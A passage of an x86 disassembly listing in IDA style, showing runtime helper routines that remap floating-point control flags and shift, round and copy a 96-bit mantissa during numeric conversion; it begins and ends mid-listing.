		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax

loc_4320F6:				; CODE XREF: sub_432070+7Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_432112
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx

loc_432112:				; CODE XREF: sub_432070+94j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 0C00h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 800h
		jg	short loc_432145
		cmp	[ebp+var_8], 800h
		jz	short loc_432158
		cmp	[ebp+var_8], 0
		jz	short loc_432150
		cmp	[ebp+var_8], 400h
		jz	short loc_432163
		jmp	short loc_432177
; ---------------------------------------------------------------------------

loc_432145:				; CODE XREF: sub_432070+B9j
		cmp	[ebp+var_8], 0C00h
		jz	short loc_43216E
		jmp	short loc_432177
; ---------------------------------------------------------------------------

loc_432150:				; CODE XREF: sub_432070+C8j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_432177
; ---------------------------------------------------------------------------

loc_432158:				; CODE XREF: sub_432070+C2j
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx
		jmp	short loc_432177
; ---------------------------------------------------------------------------

loc_432163:				; CODE XREF: sub_432070+D1j
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_432177
; ---------------------------------------------------------------------------

loc_43216E:				; CODE XREF: sub_432070+DCj
		mov	ecx, [ebp+var_4]
		or	ch, 3
		mov	[ebp+var_4], ecx

loc_432177:				; CODE XREF: sub_432070+D3j
					; sub_432070+DEj ...
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 300h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_4321B9
		cmp	[ebp+var_C], 200h
		jz	short loc_4321AB
		cmp	[ebp+var_C], 300h
		jz	short loc_4321A3
		jmp	short loc_4321C5
; ---------------------------------------------------------------------------

loc_4321A3:				; CODE XREF: sub_432070+12Fj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		jmp	short loc_4321C5
; ---------------------------------------------------------------------------

loc_4321AB:				; CODE XREF: sub_432070+126j
		mov	ecx, [ebp+var_4]
		or	ecx, 10000h
		mov	[ebp+var_4], ecx
		jmp	short loc_4321C5
; ---------------------------------------------------------------------------

loc_4321B9:				; CODE XREF: sub_432070+11Dj
		mov	edx, [ebp+var_4]
		or	edx, 20000h
		mov	[ebp+var_4], edx

loc_4321C5:				; CODE XREF: sub_432070+131j
					; sub_432070+139j ...
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1000h
		test	eax, eax
		jz	short loc_4321E2
		mov	ecx, [ebp+var_4]
		or	ecx, 40000h
		mov	[ebp+var_4], ecx

loc_4321E2:				; CODE XREF: sub_432070+164j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_432070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4321F0	proc near		; CODE XREF: sub_431FA0+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_432211
		mov	cx, [ebp+var_4]
		or	cl, 1
		mov	[ebp+var_4], cx

loc_432211:				; CODE XREF: sub_4321F0+14j
		mov	edx, [ebp+arg_0]
		and	edx, 8
		test	edx, edx
		jz	short loc_432225
		mov	ax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], ax

loc_432225:				; CODE XREF: sub_4321F0+29j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_43223A
		mov	dx, [ebp+var_4]
		or	dl, 8
		mov	[ebp+var_4], dx

loc_43223A:				; CODE XREF: sub_4321F0+3Dj
		mov	eax, [ebp+arg_0]
		and	eax, 2
		test	eax, eax
		jz	short loc_43224F
		mov	cx, [ebp+var_4]
		or	cl, 10h
		mov	[ebp+var_4], cx

loc_43224F:				; CODE XREF: sub_4321F0+52j
		mov	edx, [ebp+arg_0]
		and	edx, 1
		test	edx, edx
		jz	short loc_432263
		mov	ax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], ax

loc_432263:				; CODE XREF: sub_4321F0+67j
		mov	ecx, [ebp+arg_0]
		and	ecx, 80000h
		test	ecx, ecx
		jz	short loc_43227B
		mov	dx, [ebp+var_4]
		or	dl, 2
		mov	[ebp+var_4], dx

loc_43227B:				; CODE XREF: sub_4321F0+7Ej
		mov	eax, [ebp+arg_0]
		and	eax, 300h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 200h
		ja	short loc_4322A9
		cmp	[ebp+var_8], 200h
		jz	short loc_4322BE
		cmp	[ebp+var_8], 0
		jz	short loc_4322B4
		cmp	[ebp+var_8], 100h
		jz	short loc_4322CB
		jmp	short loc_4322E3
; ---------------------------------------------------------------------------

loc_4322A9:				; CODE XREF: sub_4321F0+9Dj
		cmp	[ebp+var_8], 300h
		jz	short loc_4322D8
		jmp	short loc_4322E3
; ---------------------------------------------------------------------------

loc_4322B4:				; CODE XREF: sub_4321F0+ACj
		mov	cx, [ebp+var_4]
		mov	[ebp+var_4], cx
		jmp	short loc_4322E3
; ---------------------------------------------------------------------------

loc_4322BE:				; CODE XREF: sub_4321F0+A6j
		mov	dx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], dx
		jmp	short loc_4322E3
; ---------------------------------------------------------------------------

loc_4322CB:				; CODE XREF: sub_4321F0+B5j
		mov	ax, [ebp+var_4]
		or	ah, 4
		mov	[ebp+var_4], ax
		jmp	short loc_4322E3
; ---------------------------------------------------------------------------

loc_4322D8:				; CODE XREF: sub_4321F0+C0j
		mov	cx, [ebp+var_4]
		or	ch, 0Ch
		mov	[ebp+var_4], cx

loc_4322E3:				; CODE XREF: sub_4321F0+B7j
					; sub_4321F0+C2j ...
		mov	edx, [ebp+arg_0]
		and	edx, 30000h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_432309
		cmp	[ebp+var_C], 10000h
		jz	short loc_432316
		cmp	[ebp+var_C], 20000h
		jz	short loc_432323
		jmp	short loc_43232B
; ---------------------------------------------------------------------------

loc_432309:				; CODE XREF: sub_4321F0+103j
		mov	ax, [ebp+var_4]
		or	ah, 3
		mov	[ebp+var_4], ax
		jmp	short loc_43232B
; ---------------------------------------------------------------------------

loc_432316:				; CODE XREF: sub_4321F0+10Cj
		mov	cx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], cx
		jmp	short loc_43232B
; ---------------------------------------------------------------------------

loc_432323:				; CODE XREF: sub_4321F0+115j
		mov	dx, [ebp+var_4]
		mov	[ebp+var_4], dx

loc_43232B:				; CODE XREF: sub_4321F0+117j
					; sub_4321F0+124j ...
		mov	eax, [ebp+arg_0]
		and	eax, 40000h
		test	eax, eax
		jz	short loc_432342
		mov	cx, [ebp+var_4]
		or	ch, 10h
		mov	[ebp+var_4], cx

loc_432342:				; CODE XREF: sub_4321F0+145j
		mov	ax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432350	proc near		; CODE XREF: .packed:00431F70p
					; .packed:00431F91p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_432373
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx

loc_432373:				; CODE XREF: sub_432350+18j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_43238B
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax

loc_43238B:				; CODE XREF: sub_432350+31j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4323A4
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx

loc_4323A4:				; CODE XREF: sub_432350+49j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_4323BC
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx

loc_4323BC:				; CODE XREF: sub_432350+61j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_4323D4
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax

loc_4323D4:				; CODE XREF: sub_432350+7Aj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4323F0
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx

loc_4323F0:				; CODE XREF: sub_432350+92j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_432350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432400	proc near		; CODE XREF: sub_432540+70p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_432424
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax

loc_432424:				; CODE XREF: sub_432400+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_8]
		test	edx, edx
		jz	short loc_43244F
		xor	eax, eax
		jmp	short loc_432480
; ---------------------------------------------------------------------------

loc_43244F:				; CODE XREF: sub_432400+49j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_432463
; ---------------------------------------------------------------------------

loc_43245A:				; CODE XREF: sub_432400:loc_432479j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx

loc_432463:				; CODE XREF: sub_432400+58j
		cmp	[ebp+var_C], 3
		jge	short loc_43247B
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_432479
		xor	eax, eax
		jmp	short loc_432480
; ---------------------------------------------------------------------------

loc_432479:				; CODE XREF: sub_432400+73j
		jmp	short loc_43245A
; ---------------------------------------------------------------------------

loc_43247B:				; CODE XREF: sub_432400+67j
		mov	eax, 1

loc_432480:				; CODE XREF: sub_432400+4Dj
					; sub_432400+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_432400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432490	proc near		; CODE XREF: sub_432540+84p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_4324B4
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax

loc_4324B4:				; CODE XREF: sub_432490+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_4360F0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_432502
; ---------------------------------------------------------------------------

loc_4324F9:				; CODE XREF: sub_432490+9Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx

loc_432502:				; CODE XREF: sub_432490+67j
		cmp	[ebp+var_C], 0
		jl	short loc_432531
		cmp	[ebp+var_10], 0
		jz	short loc_432531
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		push	1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_4360F0
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_4324F9
; ---------------------------------------------------------------------------

loc_432531:				; CODE XREF: sub_432490+76j
					; sub_432490+7Cj
		mov	eax, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
sub_432490	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432540	proc near		; CODE XREF: sub_4327D0+ABp
					; sub_4327D0+132p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_C]
		and	edx, 8000001Fh
		jns	short loc_43257E
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx

loc_43257E:				; CODE XREF: sub_432540+37j
		mov	eax, 1Fh
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_1C]
		test	edx, edx
		jz	short loc_4325CF
		mov	eax, [ebp+var_C]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_432400
		add	esp, 8
		test	eax, eax
		jnz	short loc_4325CF
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_432490
		add	esp, 8
		mov	[ebp+var_18], eax

loc_4325CF:				; CODE XREF: sub_432540+63j
					; sub_432540+7Aj
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4]
		and	eax, edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_4325FF
; ---------------------------------------------------------------------------

loc_4325F6:				; CODE XREF: sub_432540+D2j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx

loc_4325FF:				; CODE XREF: sub_432540+B4j
		cmp	[ebp+var_10], 3
		jge	short loc_432614
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_4325F6
; ---------------------------------------------------------------------------

loc_432614:				; CODE XREF: sub_432540+C3j
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_432540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432620	proc near		; CODE XREF: sub_4327D0+98p
					; sub_4327D0+10Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_432644
; ---------------------------------------------------------------------------

loc_43263B:				; CODE XREF: sub_432620+46j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx

loc_432644:				; CODE XREF: sub_432620+19j
		cmp	[ebp+var_C], 3
		jge	short loc_432668
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_43263B
; ---------------------------------------------------------------------------

loc_432668:				; CODE XREF: sub_432620+28j
		mov	esp, ebp
		pop	ebp
		retn
sub_432620	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432670	proc near		; CODE XREF: sub_4327D0+7Cp
					; sub_4327D0+D5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_432686
; ---------------------------------------------------------------------------

loc_43267D:				; CODE XREF: sub_432670+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_432686:				; CODE XREF: sub_432670+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_43269B
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_43267D
; ---------------------------------------------------------------------------

loc_43269B:				; CODE XREF: sub_432670+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4326A0	proc near		; CODE XREF: sub_4327D0+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_4326B6
; ---------------------------------------------------------------------------

loc_4326AD:				; CODE XREF: sub_4326A0:loc_4326CCj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_4326B6:				; CODE XREF: sub_4326A0+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_4326CE
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_4326CC
		xor	eax, eax
		jmp	short loc_4326D3
; ---------------------------------------------------------------------------

loc_4326CC:				; CODE XREF: sub_4326A0+26j
		jmp	short loc_4326AD
; ---------------------------------------------------------------------------

loc_4326CE:				; CODE XREF: sub_4326A0+1Aj
		mov	eax, 1

loc_4326D3:				; CODE XREF: sub_4326A0+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_4326A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4326E0	proc near		; CODE XREF: sub_4327D0+11Fp
					; sub_4327D0+148p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_432705
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax

loc_432705:				; CODE XREF: sub_4326E0+1Ej
		mov	[ebp+var_4], eax
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		jmp	short loc_43272E
; ---------------------------------------------------------------------------

loc_432725:				; CODE XREF: sub_4326E0+9Fj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax

loc_43272E:				; CODE XREF: sub_4326E0+43j
		cmp	[ebp+var_C], 3
		jge	short loc_432781
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		and	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		or	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4], edx
		mov	ecx, 20h
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		shl	edx, cl
		mov	[ebp+var_8], edx
		jmp	short loc_432725
; ---------------------------------------------------------------------------

loc_432781:				; CODE XREF: sub_4326E0+52j
		mov	[ebp+var_C], 2
		jmp	short loc_432793
; ---------------------------------------------------------------------------

loc_43278A:				; CODE XREF: sub_4326E0:loc_4327C5j
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax

loc_432793:				; CODE XREF: sub_4326E0+A8j
		cmp	[ebp+var_C], 0
		jl	short loc_4327C7
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_18]
		jl	short loc_4327B8
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax*4], edx
		jmp	short loc_4327C5
; ---------------------------------------------------------------------------

loc_4327B8:				; CODE XREF: sub_4326E0+BFj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0

loc_4327C5:				; CODE XREF: sub_4326E0+D6j
		jmp	short loc_43278A
; ---------------------------------------------------------------------------

loc_4327C7:				; CODE XREF: sub_4326E0+B7j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4326E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4327D0	proc near		; CODE XREF: sub_432A20+10p
					; sub_432A40+10p

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		sub	ecx, 3FFFh
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0FFFFC001h
		jnz	short loc_432860
		mov	[ebp+var_8], 0
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_4326A0
		add	esp, 4
		test	eax, eax
		jz	short loc_432848
		mov	[ebp+var_1C], 0
		jmp	short loc_43285B
; ---------------------------------------------------------------------------

loc_432848:				; CODE XREF: sub_4327D0+6Dj
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_432670
		add	esp, 4
		mov	[ebp+var_1C], 2

loc_43285B:				; CODE XREF: sub_4327D0+76j
		jmp	loc_4329AC
; ---------------------------------------------------------------------------

loc_432860:				; CODE XREF: sub_4327D0+56j
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+var_30]
		push	ecx
		call	sub_432620
		add	esp, 8
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		push	eax
		lea	ecx, [ebp+var_18]
		push	ecx
		call	sub_432540
		add	esp, 8
		test	eax, eax
		jz	short loc_432890
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_432890:				; CODE XREF: sub_4327D0+B5j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	edx, [eax+4]
		sub	edx, [ecx+8]
		cmp	[ebp+var_4], edx
		jge	short loc_4328C0
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_432670
		add	esp, 4
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	loc_4329AC
; ---------------------------------------------------------------------------

loc_4328C0:				; CODE XREF: sub_4327D0+CFj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jg	short loc_432930
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_34], ecx
		lea	edx, [ebp+var_30]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_432620
		add	esp, 8
		mov	ecx, [ebp+var_34]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_4326E0
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_432540
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_4326E0
		add	esp, 8
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	short loc_4329AC
; ---------------------------------------------------------------------------

loc_432930:				; CODE XREF: sub_4327D0+F9j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jl	short loc_43297B
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_432670
		add	esp, 4
		mov	eax, [ebp+var_18]
		or	eax, 80000000h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4326E0
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_8]
		add	edx, [eax+14h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_4329AC
; ---------------------------------------------------------------------------

loc_43297B:				; CODE XREF: sub_4327D0+168j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+14h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		and	eax, 7FFFFFFFh
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4326E0
		add	esp, 8
		mov	[ebp+var_1C], 0

loc_4329AC:				; CODE XREF: sub_4327D0:loc_43285Bj
					; sub_4327D0+EBj ...
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, 20h
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		shl	edx, cl
		mov	eax, [ebp+var_18]
		or	eax, edx
		mov	ecx, [ebp+var_20]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	eax, ecx
		mov	[ebp+var_24], eax
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+10h], 40h
		jnz	short loc_4329FA
		mov	eax, [ebp+arg_4]
